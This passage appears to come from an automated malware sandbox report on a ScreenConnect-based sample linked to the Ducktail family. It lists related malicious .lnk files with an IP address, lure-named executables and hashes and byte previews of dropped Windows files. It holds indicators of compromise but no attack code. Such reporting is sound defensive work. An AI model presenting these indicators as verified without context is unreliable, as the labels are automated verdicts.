	aQuwmiym51.lnk	Get hash	malicious	Ducktail	Browse	194.59.30.201
	gW6FHWNFzR.lnk	Get hash	malicious	Ducktail	Browse	194.59.30.201
	U82W1yZAYQ.lnk	Get hash	malicious	Ducktail	Browse	194.59.30.201
	ZGMW2wgPzY.lnk	Get hash	malicious	Ducktail	Browse	194.59.30.201
	z0gG2GA9vG.lnk	Get hash	malicious	Ducktail	Browse	194.59.30.201
	About-Us.docx lnk.lnk	Get hash	malicious	Ducktail	Browse	194.59.30.201

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\Users\user\AppData\Local\Apps\2.0\RH07BTXR.RY4\8448B9TM.6ZZ\scre...exe_25b0fbb6ef7eb094_0018.0002_none_98a7d58e59681f92\ScreenConnect.WindowsBackstageShell.exe	pzPO97QouM.exe	Get hash	malicious	ScreenConnect Tool	Browse
	pzPO97QouM.exe	Get hash	malicious	ScreenConnect Tool	Browse
	statments.exe	Get hash	malicious	ScreenConnect Tool	Browse
	Scanned01Document_ms.exe	Get hash	malicious	ScreenConnect Tool	Browse
	Scanned01Document_ms.exe	Get hash	malicious	ScreenConnect Tool	Browse
	sstatment.exe	Get hash	malicious	ScreenConnect Tool	Browse
	extukGiBrn.exe	Get hash	malicious	ScreenConnect Tool	Browse
	Vh0tTzx4Ko.exe	Get hash	malicious	ScreenConnect Tool	Browse
	support.Client.exe	Get hash	malicious	ScreenConnect Tool	Browse
C:\Users\user\AppData\Local\Apps\2.0\RH07BTXR.RY4\8448B9TM.6ZZ\scre...exe_25b0fbb6ef7eb094_0018.0002_none_98a7d58e59681f92\ScreenConnect.ClientService.exe	pzPO97QouM.exe	Get hash	malicious	ScreenConnect Tool	Browse
	pzPO97QouM.exe	Get hash	malicious	ScreenConnect Tool	Browse
	statments.exe	Get hash	malicious	ScreenConnect Tool	Browse
	Scanned01Document_ms.exe	Get hash	malicious	ScreenConnect Tool	Browse
	Scanned01Document_ms.exe	Get hash	malicious	ScreenConnect Tool	Browse
	sstatment.exe	Get hash	malicious	ScreenConnect Tool	Browse
	extukGiBrn.exe	Get hash	malicious	ScreenConnect Tool	Browse
	Vh0tTzx4Ko.exe	Get hash	malicious	ScreenConnect Tool	Browse
	support.Client.exe	Get hash	malicious	ScreenConnect Tool	Browse

Created / dropped Files

C:\ProgramData\Microsoft\Network\Downloader\edb.chk

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	8192
Entropy (8bit):	0.35901589905449205
Encrypted:	false
SSDEEP:	6:6xboaaD0JOCEfMuaaD0JOCEfMKQmDkxboaaD0JOCEfMuaaD0JOCEfMKQmD:ZaaD0JcaaD0JwQQnaaD0JcaaD0JwQQ
MD5:	7D48941DB05D2D1C9A0C52739933543F
SHA1:	4FF1446A7D5DA6BBEA145000B00A9F4FFED90930
SHA-256:	C436AB7F36E238365FDDF5BDFEB9EBFEFACE94AD0FEB79C571182DA968815D87
SHA-512:	41C7DA95797437840014733F7021883E034503A9D8F07F7C9A0B1131A869A29A6E00D4E9FA99EEDAFBDD2F0DFDAFFB0A7671D8F666DA0E2023CA887E4BA0FB62
Malicious:	false
Preview:	*.>...........f.....D./..;...{..................C:\ProgramData\Microsoft\Network\Downloader\.........................................................................................................................................................................................................................C:\ProgramData\Microsoft\Network\Downloader\..........................................................................................................................................................................................................................0u..................@...@......................................................f.............................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\edb.log

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.7107433309639619
Encrypted:	false
SSDEEP:	1536:2JPJJ5JdihkWB/U7mWz0FujGRFDp3w+INKEbx9jzW9KHSjoN2jucfh11AoYQ6VqH:2JIB/wUKUKQncEmYRTwh0r
MD5:	4339AF983BCC8769F09CE9079CF0866D
SHA1:	822327E8F060126392F9DDFF4DDBC9B0981CF857
SHA-256:	F803DD3122A1580AED070952F6ACE8912DF221937446E2E41E0D93644A8290D8
SHA-512:	72784FE62242ECDDDE13BA8EB76CF612149F4C8B39F362CB200D302A0B07C42EF37DD88094D212C76166145C1931E9456139E881089A1E432AF09747659507A7
Malicious:	false
Preview:	...........@..@.+...{...;...{..........<...D./..;...{..................C:\ProgramData\Microsoft\Network\Downloader\.........................................................................................................................................................................................................................C:\ProgramData\Microsoft\Network\Downloader\..........................................................................................................................................................................................................................0u..................@...@.................................u.f!.Lz3.#.........`h.................h.......0.......X\...;...{..................C.:.\.P.r.o.g.r.a.m.D.a.t.a.\.M.i.c.r.o.s.o.f.t.\.N.e.t.w.o.r.k.\.D.o.w.n.l.o.a.d.e.r.\.q.m.g.r...d.b....................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	Extensible storage engine DataBase, version 0x620, checksum 0xcf23b792, page size 16384, Windows version 10.0
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.6651686075640577
Encrypted:	false
SSDEEP:	1536:FSB2ESB2SSjlK/2502y0IEWBqbMo5g5+Ykr3g16z2UPkLk+kK+UJ8xUJSSiWjFjF:FazaU+uroc2U5Si6
MD5:	6CCC89EB1ED952D1AB4528289050ABBD
SHA1:	5F55EB5E6684A9C39541DD2825884AD0F2B1B20B
SHA-256:	750E40402B4AAD160D85B780FF422C35B876DD71EEC3ED5E0CFC5E361418A029
SHA-512:	1BA70ECDB373A3D2B2290F80712F8FC5D393915CB88F33F85C2F7D075FDBA823F128829F9B20F6A0F8956A4CD9AAC02D12A5CADA37A2FF8C8A01303A23B5D003
Malicious:	false
Preview:	.#..... .......#.......X\...;...{......................0.e..........\|.......\|..h.b..........\|..0.e.........D./..;...{..........................................................................................................eJ......n....@...................................................................................................... ............................................................................................................................................................................................................2...{..................................l%.......\|....................,\|.....\|...........................#......0.e.....................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	0.07900895785553667
Encrypted:	false
SSDEEP:	3:4RWsetYeDqU6j/ltLocjmgj/ltNDnj/ltollkqqG9lXlZOS:4RUzDk0KcVr
MD5:	6D75FC844B4F07C488CC62848F22C2E5
SHA1:	5A0384CBEE81DF7E4E14D18D09730D7B2A98A215
SHA-256:	E518D31131BE83719F00361B28510788782B88CB9F9744CE5F82A60A5760A122
SHA-512:	D3CAB8F1D197CFCF37E153752EF9E22C90B7A2E298A7E60BFB95B5394595C06DE46387B56B3FA253BE6D9459158702FCE1CFFF8DF410F4594F515ED9BB576E1F
Malicious:	false
Preview:	9........................................;...{.......\|.......\|...............\|A......\|..<..k.....\|....................,\|.....\|..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_monthly-eStateme_eb5575aa2fa0d3837c39a30b750445dcd61f0db_c914ffd9_fb45b08d-863c-4b0d-9d1d-07ac80a96b58\Report.wer

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	0.9296103286411475
Encrypted:	false
SSDEEP:	96:HOF7Z9c+MQds6fhqvGXyf8QXIDcQvc6QcEVcw3cE/9CbCB+HbHg/JgnQoFyOuawI:uf9dIP0BU/QjMxlzuiFUZ24IO8K
MD5:	1512BC10C775A462AD64031BF583E8FA
SHA1:	A26CC19A76A8172EE111C4BE6942048B085041B7
SHA-256:	2AF4385903E616C0B8D516D23D4CCC4AED1217EDC44FFA33AFCEAF8435D1D40C
SHA-512:	E9BFBFA0E4AA1DBDD642AE7FDC7242D38D7B0F4F1B6047BA77E06EDE0E0638253D98C77FA9F697B99B1E7E19006EAC678FB2C25DB91C2F7F9F8BB4B7CD4C3D59
Malicious:	false
Preview:	..V.e.r.s.i.o.n.=.1.....E.v.e.n.t.T.y.p.e.=.A.P.P.C.R.A.S.H.....E.v.e.n.t.T.i.m.e.=.1.3.3.7.5.5.3.9.8.9.1.7.8.8.8.4.3.0.....R.e.p.o.r.t.T.y.p.e.=.2.....C.o.n.s.e.n.t.=.1.....U.p.l.o.a.d.T.i.m.e.=.1.3.3.7.5.5.3.9.8.9.2.3.8.2.5.7.4.2.....R.e.p.o.r.t.S.t.a.t.u.s.=.5.2.4.3.8.4.....R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.f.b.4.5.b.0.8.d.-.8.6.3.c.-.4.b.0.d.-.9.d.1.d.-.0.7.a.c.8.0.a.9.6.b.5.8.....I.n.t.e.g.r.a.t.o.r.R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.a.3.3.7.f.3.b.e.-.a.d.9.f.-.4.7.8.2.-.a.7.2.5.-.b.d.d.f.f.f.a.c.8.0.0.a.....W.o.w.6.4.H.o.s.t.=.3.4.4.0.4.....W.o.w.6.4.G.u.e.s.t.=.3.3.2.....N.s.A.p.p.N.a.m.e.=.m.o.n.t.h.l.y.-.e.S.t.a.t.e.m.e.n.t.F.o.r.u.m.1.2.0.4.7.8.9.6.2...C.l.i.e.n.t...e.x.e.....A.p.p.S.e.s.s.i.o.n.G.u.i.d.=.0.0.0.0.1.b.f.8.-.0.0.0.1.-.0.0.1.4.-.d.c.2.1.-.7.2.4.4.c.6.3.1.d.b.0.1.....T.a.r.g.e.t.A.p.p.I.d.=.W.:.0.0.0.6.4.2.5.3.e.d.2.8.1.b.3.2.6.b.1.a.6.8.6.a.4.9.5.f.e.9.6.d.0.a.1.1.0.0.0.0.f.f.f.f.!.0.0.0.0.4.e.b.9.6.5.6.e.d.e.1.f.e.d.2.3.f.d.a.e.b.6.7.8.1.5.a.f.c.d.4.8.9.d.e.d.0.

C:\ProgramData\Microsoft\Windows\WER\Temp\WER7A30.tmp.dmp

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Mini DuMP crash report, 15 streams, Fri Nov 8 11:44:51 2024, 0x1205a4 type
Category:	dropped
Size (bytes):	73960
Entropy (8bit):	1.7405802348839046
Encrypted:	false
SSDEEP:	192:P/6Eb79yXqcXdaRMOEI/DfCSu4U8N/HDKD7iZrudxryevQqbgL38:59uXdaRDEI/7bEsjqiZruxryeOb
MD5:	562DB78A2831C7EFB896149C6639A02E
SHA1:	693E0A912542C160F37A91F0893AB1128BDBC3DB
SHA-256:	FCA016F2575BD283BB3BAD23B080722B764BE77B54A4BFE36D42C40ED462CBD2
SHA-512:	143BE2BC22BF68ECAE512B238FF8934A34CD28B744E30A5C6298551ABE15AAE762EDAE695923CAC217D2C6443ED568E13522B85EBDFC996A6326E1017909E167
Malicious:	false
Preview:	MDMP..a..... .........-g............T...............h.......<...$.......$...v8..........`.......8...........T...........@ ..............`...........L...............................................................................eJ..............GenuineIntel............T...........K.-g.............................0..............,...E.a.s.t.e.r.n. .S.t.a.n.d.a.r.d. .T.i.m.e...........................................E.a.s.t.e.r.n. .S.u.m.m.e.r. .T.i.m.e...............................................1.9.0.4.1...1...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6.......................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Windows\WER\Temp\WER7B1B.tmp.WERInternalMetadata.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	8444
Entropy (8bit):	3.700718243030106
Encrypted:	false
SSDEEP:	192:R6l7wVeJQF6l6YNoSUVgmfwtBprO89b5Xsf25Tm:R6lXJq6l6YSSUVgmfwtL5cf2Q
MD5:	CF2BD82EF0F346256D6041478E842761
SHA1:	3E9EBB4DB3BEBA2B800C99F695B87A0C6068A7B6
SHA-256:	0FCBAFEF3AB35857FB90CBDDC57A57E3077B031BC0E85D60BB8008F9DEBD6D19
SHA-512:	6CAAFF677ECF339F1D8E390F5EECD9E645CD96FC93A2873BFE7343F86D5145602598A54D0AB4AD450BAD3E909BB1A6A02FED4895A6C6669631CB4092FBE96FEB
Malicious:	false
Preview:	..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".U.T.F.-.1.6.".?.>.....<.W.E.R.R.e.p.o.r.t.M.e.t.a.d.a.t.a.>.......<.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.........<.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.1.0...0.<./.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.........<.B.u.i.l.d.>.1.9.0.4.5.<./.B.u.i.l.d.>.........<.P.r.o.d.u.c.t.>.(.0.x.3.0.).:. .W.i.n.d.o.w.s. .1.0. .P.r.o.<./.P.r.o.d.u.c.t.>.........<.E.d.i.t.i.o.n.>.P.r.o.f.e.s.s.i.o.n.a.l.<./.E.d.i.t.i.o.n.>.........<.B.u.i.l.d.S.t.r.i.n.g.>.1.9.0.4.1...2.0.0.6...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6.<./.B.u.i.l.d.S.t.r.i.n.g.>.........<.R.e.v.i.s.i.o.n.>.2.0.0.6.<./.R.e.v.i.s.i.o.n.>.........<.F.l.a.v.o.r.>.M.u.l.t.i.p.r.o.c.e.s.s.o.r. .F.r.e.e.<./.F.l.a.v.o.r.>.........<.A.r.c.h.i.t.e.c.t.u.r.e.>.X.6.4.<./.A.r.c.h.i.t.e.c.t.u.r.e.>.........<.L.C.I.D.>.2.0.5.7.<./.L.C.I.D.>.......<./.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.......<.P.r.o.c.e.s.s.I.n.f.o.r.m.a.t.i.o.n.>.........<.P.i.d.>.7.1.6.0.<./.P.i.

C:\ProgramData\Microsoft\Windows\WER\Temp\WER7B4B.tmp.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	4738
Entropy (8bit):	4.52428181766699
Encrypted:	false
SSDEEP:	48:cvIwWl8zsaJg77aI9fdSWpW8VYRWYm8M4JHAxArLFI+q80AXgvQpqwzAFXAFJd:uIjfoI7Jdz7V+fJSLYp1qOJd
MD5:	42D33397EBDEE862242FE08CF3491D1F
SHA1:	E02680D1FF5DFB866C60DAE633670BED1FC60B66
SHA-256:	03AA1BD2876314F85FD6210A8A3534C178A7290E17E78173F2C2D584062A9EAC
SHA-512:	F3F8E6F2ECE576E5B3AD1F5B969A9242CC8846925DC8D094A49CF5DBED3FAEE43DA420F272008EA78B415DB4EB3734716B9A791D3C3B8AEFFE2803B4C4853544
Malicious:	false
Preview:	<?xml version="1.0" encoding="UTF-8" standalone="yes"?>..<req ver="2">.. <tlm>.. <src>.. <desc>.. <mach>.. <os>.. <arg nm="vermaj" val="10" />.. <arg nm="vermin" val="0" />.. <arg nm="verbld" val="19045" />.. <arg nm="vercsdbld" val="2006" />.. <arg nm="verqfe" val="2006" />.. <arg nm="csdbld" val="2006" />.. <arg nm="versp" val="0" />.. <arg nm="arch" val="9" />.. <arg nm="lcid" val="2057" />.. <arg nm="geoid" val="223" />.. <arg nm="sku" val="48" />.. <arg nm="domain" val="0" />.. <arg nm="prodsuite" val="256" />.. <arg nm="ntprodtype" val="1" />.. <arg nm="platid" val="2" />.. <arg nm="tmsi" val="579047" />.. <arg nm="osinsty" val="1" />.. <arg nm="iever" val="11.789.19041.0-11.0.1000" />.. <arg nm="portos" val="0" />.. <arg nm="ram" val="409

C:\ProgramData\Microsoft\Windows\WER\Temp\WER7B68.tmp.csv

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	76766
Entropy (8bit):	3.053683822707892
Encrypted:	false
SSDEEP:	1536:NT5A2V5WoQ89zEv57pK8zgE1c3wnwOCjuHxq3xv:NT5A2V5WoQ89zEv57pK8zgE1c36wOCjr
MD5:	B4C6F3566629D6CE9170F2B7D62C21FA
SHA1:	2003665BDC2F432A44C941F9B8D5A9ED0673AABB
SHA-256:	36FC9CD30E72F4A5642C8DC55E6D932884831DA59FB333D653CAE32A607C2EE8
SHA-512:	25FD97FD6D199DF36A1DD7A48406A411D990382003CBEF193D65243CF95AD1ED4E8818B628C346E0BAE61B0BDBE6942AC0307606AF79173216429F4386B6F4B4
Malicious:	false
Preview:	I.m.a.g.e.N.a.m.e.,.U.n.i.q.u.e.P.r.o.c.e.s.s.I.d.,.N.u.m.b.e.r.O.f.T.h.r.e.a.d.s.,.W.o.r.k.i.n.g.S.e.t.P.r.i.v.a.t.e.S.i.z.e.,.H.a.r.d.F.a.u.l.t.C.o.u.n.t.,.N.u.m.b.e.r.O.f.T.h.r.e.a.d.s.H.i.g.h.W.a.t.e.r.m.a.r.k.,.C.y.c.l.e.T.i.m.e.,.C.r.e.a.t.e.T.i.m.e.,.U.s.e.r.T.i.m.e.,.K.e.r.n.e.l.T.i.m.e.,.B.a.s.e.P.r.i.o.r.i.t.y.,.P.e.a.k.V.i.r.t.u.a.l.S.i.z.e.,.V.i.r.t.u.a.l.S.i.z.e.,.P.a.g.e.F.a.u.l.t.C.o.u.n.t.,.W.o.r.k.i.n.g.S.e.t.S.i.z.e.,.P.e.a.k.W.o.r.k.i.n.g.S.e.t.S.i.z.e.,.Q.u.o.t.a.P.e.a.k.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.P.e.a.k.N.o.n.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.Q.u.o.t.a.N.o.n.P.a.g.e.d.P.o.o.l.U.s.a.g.e.,.P.a.g.e.f.i.l.e.U.s.a.g.e.,.P.e.a.k.P.a.g.e.f.i.l.e.U.s.a.g.e.,.P.r.i.v.a.t.e.P.a.g.e.C.o.u.n.t.,.R.e.a.d.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.W.r.i.t.e.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.O.t.h.e.r.O.p.e.r.a.t.i.o.n.C.o.u.n.t.,.R.e.a.d.T.r.a.n.s.f.e.r.C.o.u.n.t.,.W.r.i.t.e.T.r.a.n.s.f.e.r.C.o.u.n.t.,.O.t.h.e.r.T.r.a.n.s.f.e.r.C.o.u.n.t.,.H.a.n.

C:\ProgramData\Microsoft\Windows\WER\Temp\WER7C35.tmp.txt

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	13340
Entropy (8bit):	2.6853539028095166
Encrypted:	false
SSDEEP:	96:TiZYWCEdgxCYrYzWNHIUYEZA0tKiwVnw42wzLHpaSt7dMtbckWIiH3:2ZDCysq00daG7dMZckRiH3
MD5:	38764F6947A45C5E57E096F835613E02
SHA1:	7CE38BCB794970EA9BB62A3166462072BAB53A6E
SHA-256:	8E2EA72E26A04066EFC4175A212886B12770C0C1D9E213D0D18A4046A076E95C
SHA-512:	F0B1440569D5915A84533F1CA35AF02B56C89C85CFBA2E378915013B7C71A06616C4BA23733060FDB9F6F9C8513D0F172D2278DA6BB563925269DB1F21566525
Malicious:	false
Preview:	B...T.i.m.e.r.R.e.s.o.l.u.t.i.o.n. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .1.5.6.2.5.0.....B...P.a.g.e.S.i.z.e. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .4.0.9.6.....B...N.u.m.b.e.r.O.f.P.h.y.s.i.c.a.l.P.a.g.e.s. . . . . . . . . . . . . . . . . . . . . . . . . . .1.0.4.8.3.3.3.....B...L.o.w.e.s.t.P.h.y.s.i.c.a.l.P.a.g.e.N.u.m.b.e.r. . . . . . . . . . . . . . . . . . . . . . . . . . . . . .2.....B...H.i.g.h.e.s.t.P.h.y.s.i.c.a.l.P.a.g.e.N.u.m.b.e.r. . . . . . . . . . . . . . . . . . . . . . .1.3.1.0.7.1.9.....B...A.l.l.o.c.a.t.i.o.n.G.r.a.n.u.l.a.r.i.t.y. . . . . . . . . . . . . . . . . . . . . . . . . . . . .6.5.5.3.6.....B...M.i.n.i.m.u.m.U.s.e.r.M.o.d.e.A.d.d.r.e.s.s. . . . . . . . . . . . . . . . . . . . . . . . . . . .6.5.5.3.6.....B...M.a.x.i.m.u.m.U.s.e.r.M.o.d.e.A.d.d.r.e.s.s. . . . . . . . . . . . . . . . . .1.4.0.7.3.7.4.8.8.2.8.9.7.9.1.....B...A.c.t.i.v.e.P.r.o.c.e.s.s.o.r.s.A.f.f.i.n.i.t.y.M.a.s.k. . . . . . .

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\57C8EDB95DF3F0AD4EE2DC2B8CFD4157

Download File

Process:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe
File Type:	Microsoft Cabinet archive data, Windows 2000/XP setup, 4770 bytes, 1 file, at 0x2c +A "disallowedcert.stl", number 1, 1 datablock, 0x1 compression
Category:	dropped
Size (bytes):	4770
Entropy (8bit):	7.946747821604857
Encrypted:	false
SSDEEP:	96:9/nBu64pydcvOHRUfu0xK1bQYMRSRNoYmxYvk56sHMZhh4m:9/nBuP2cGxUfu6K1bpWJ6vfh4m
MD5:	1BFE591A4FE3D91B03CDF26EAACD8F89
SHA1:	719C37C320F518AC168C86723724891950911CEA
SHA-256:	9CF94355051BF0F4A45724CA20D1CC02F76371B963AB7D1E38BD8997737B13D8
SHA-512:	02F88DA4B610678C31664609BCFA9D61DB8D0B0617649981AF948F670F41A6207B4EC19FECCE7385A24E0C609CBBF3F2B79A8ACAF09A03C2C432CC4DCE75E9DB
Malicious:	false
Preview:	MSCF............,...................O.................2Wqh .disallowedcert.stl....^K...CK.wTS...:.w.K'.C0T.....Bh.{....C.)......Y@...(..).R."E..D^6........u....\|f~3...o.3. ..SPK.k.o#...."{-.U..P........:..aPr.@.d......Dy.h.....)..:...!./\A.....A<I_<$...q.h..........'.....7....H...@`T..K.S.%...Y4..R.....`.....-....D...(..b..-c."...G.=.dx..S+..2.a.E....d.L...77J...c.[..@..iT&..^78..g....NW6.Ek..FY.F........cNt.O...R..........D...... k........J.y...z.d...;.9_t...].@....yw..}.x....d.t..`f\K..;\|.h.X...4/.;.xT......q>.0...<...3...X..L$.&.,b.....\V....\......G..O..@..H3.....t..J..).x.?.{[..G>.7...<...^Q..z..Gw9P..d....i].n%K}.z..2.Py...A..s...z..@...4..........4.....Y.d..._Z.5.s..fl.C..#.K{9^.E...k..z.Ma..G.(.....5g. ...}.t.#4....$;.,....S@fs....k......u .^2.#_...I........;.......w..P...UCY...$;.S._\|.x..dK...[i..q..^.l..A.?.....'N.. .L.l......m.*.+f#]............A.;.....Z..rIt....RW....Kr1e=8.=.z:Oi.z.d..r..C_......o...]j.N;.s....3@3.dgrv.

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe
File Type:	Microsoft Cabinet archive data, Windows 2000/XP setup, 71954 bytes, 1 file, at 0x2c +A "authroot.stl", number 1, 6 datablocks, 0x1 compression
Category:	dropped
Size (bytes):	71954
Entropy (8bit):	7.996617769952133
Encrypted:	true
SSDEEP:	1536:gc257bHnClJ3v5mnAQEBP+bfnW8Ctl8G1G4eu76NWDdB34w18R5cBWcJAm68+Q:gp2ld5jPqW8LgeulxB3fgcEfDQ
MD5:	49AEBF8CBD62D92AC215B2923FB1B9F5
SHA1:	1723BE06719828DDA65AD804298D0431F6AFF976
SHA-256:	B33EFCB95235B98B48508E019AFA4B7655E80CF071DEFABD8B2123FC8B29307F
SHA-512:	BF86116B015FB56709516D686E168E7C9C68365136231CC51D0B6542AE95323A71D2C7ACEC84AAD7DCECC2E410843F6D82A0A6D51B9ACFC721A9C84FDD877B5B
Malicious:	false
Preview:	MSCF............,...................I..................XaK .authroot.stl.[.i..6..CK..<Tk......4.cl!Kg..E..Y.f_..".$mR"$.J.E.KB."..rKv.."{.g....3.W.....c..9.s...=....y6#..x..........D......\(.#.s.!.A.......cd.c........+^.ov...n.....3BL..0.......BPUR&.X..02.q...R...J.....w.....b.vy>....-.&..(..oe."."...J9...0U.6J..\|U..S.....M.F8g...=.......p...........l.?3.J.x.G.Ep..$g..tj......)v]9(:.)W.8.Op.1Q..:.nPd........7.7..M].V F..g.....12..!7(...B.......h.RZ.......l.<.....6..Z^.`p?... .p.Gp.#.'.X..........\|!.8.....".m.49r?.I...g...8.v.....a``.g.R4.i...J8q....NFW,E.6Y....!.o5%.Y.....R..<..S9....r....WO...(.....F..Q=....-..7d..O(....-..+k.........K..........{Q....Z..j._.E...QZ.~.\.^......N.9.k..O.}dD.b1r...[}/....T..E..G..c.\|.c.&>?..^t. ..;..X.d.E.0G....[Q.,......#.Dp..L.o\|#syc.J............}G-.ou6.=52..XWi=...m.....^u......c..fc?&pR7S5....I...j.G........j.j..Tc.El.....B.pQ.,Bp....j...9g.. >..s..m#.Nb.o_u.M.V...........\#...v..Mo\sF..s....Y...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\C56C4404C4DEF0DC88E5FCD9F09CB2F1

Download File

Process:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe
File Type:	Certificate, Version=3
Category:	dropped
Size (bytes):	1716
Entropy (8bit):	7.596259519827648
Encrypted:	false
SSDEEP:	48:GL3d+gG48zmf8grQcPJ27AcYG7i47V28Tl4JZG0FWk8ZHJ:GTd0PmfrrQG28cYG28CEJ
MD5:	D91299E84355CD8D5A86795A0118B6E9
SHA1:	7B0F360B775F76C94A12CA48445AA2D2A875701C
SHA-256:	46011EDE1C147EB2BC731A539B7C047B7EE93E48B9D3C3BA710CE132BBDFAC6B
SHA-512:	6D11D03F2DF2D931FAC9F47CEDA70D81D51A9116C1EF362D67B7874F91BF20915006F7AF8ECEBAEA59D2DC144536B25EA091CC33C04C9A3808EEFDC69C90E816
Malicious:	false
Preview:	0...0............@.`.L.^.....0....H........0b1.0...U....US1.0...U....DigiCert Inc1.0...U....www.digicert.com1!0...U....DigiCert Trusted Root G40...210429000000Z..360428235959Z0i1.0...U....US1.0...U....DigiCert, Inc.1A0?..U...8DigiCert Trusted G4 Code Signing RSA4096 SHA384 2021 CA10.."0....H.............0........./B.(.x.].9Y...B.3..=..p..&0...h.\..4$..KO.xC........g.RO..W.......>Mp$d....}4}L.W.kC....;....GZ..L.. %............e....I5.=Q..!xE...,.......IpB2......eh..ML..HRh....W]...e...O.,H.V.5........7.....\|...2........t..9..`.....1.......#GG...n..m.....jg-.D......;...2Z..j`T.I....\.o.&....8........o.a4\..E(.6*f(_.s.&%....\...L.b.^3........+..6y.....u.e..HP.w....P.F.aX..\|..<.(.9....S..G.u0..0.v..[K]taM?..v.X.r.)A...m&vh.A.X..&+..MY.x.J>@G_.Ps..#!Y`.dT..!..8.\|f..x8E0.O.cOL....SA\|X=G....2...l<.V.........Y0..U0...U.......0.......0...U......h7..;._....a{..e.NB0...U.#..0.......q]dL..g?....O0...U...........0...U.%..0...+.......0w..+........k0i0$..+.....0...http:/

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\C8E534EE129F27D55460CE17FD628216_1130D9B25898B0DB0D4F04DC5B93F141

Download File

Process:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe
File Type:	data
Category:	dropped
Size (bytes):	727
Entropy (8bit):	7.562070540258883
Encrypted:	false
SSDEEP:	12:5onfZSc5RlRtBfQwRhs5vCZgPVrVJEYbw7OIiVFQlb8PjcNCUAnqr/E:5i8cdZTRhG+gPZPfIgMb8PjcNCa/E
MD5:	EB9A1D98CC4B6AC3D674A6621DF5A758
SHA1:	5E9BC182D48B8E86A61D8A3F4B5ADD9C88DA6800
SHA-256:	20D856D68DBA3E2246EBB62A5EAEDCEFDA221ACCFA1B9362B33AFAD33B6E48C7
SHA-512:	1054D82E5E1B2F2C1416D31F01FF2C172ACA8DCC31A622CDD959F918B78A474BD9B40A9B7316122A8262FAC24D6236860E2EADD665030A61D56C5C0A153F81C7
Malicious:	false
Preview:	0..........0.....+.....0......0...0..........q]dL..g?....O..20241107184215Z0s0q0I0...+........."..;F..=\@ua..........q]dL..g?....O....@.`.L.^........20241107184215Z....20241114184215Z0....H.............t.yl..<Y.&4S.....).G...s.X.S.x....)l.ng.Jpe....-...}@....\|.....J.\#(....]..}.......k/.a..v.I.w...6.W.`{.D..z.%.c.T".p....\....CX..L...u.n...6t.6..1W....f....m6.W....?..N...d.Q..1...H+..k..A.X..../&a.I....#..)..h..'..@...'s.~.i.X"...w.B...P\.K..3..V.5...A.-l..#.V...i...\.)=..G.ob....o............eTi.1...)k..+.e.?. :.X.0^.k.4.;.....S8....\.K.w#q..._m.F....(^.......}.\.}?...W....T.......)..#..{6QC...'....=....f.....>........{}.k..\....i.....e..F..1&.%.U.aAO....k....<....p?S.

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\F2E248BEDDBB2D85122423C41028BFD4

Download File

Process:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe
File Type:	Certificate, Version=3
Category:	dropped
Size (bytes):	1428
Entropy (8bit):	7.688784034406474
Encrypted:	false
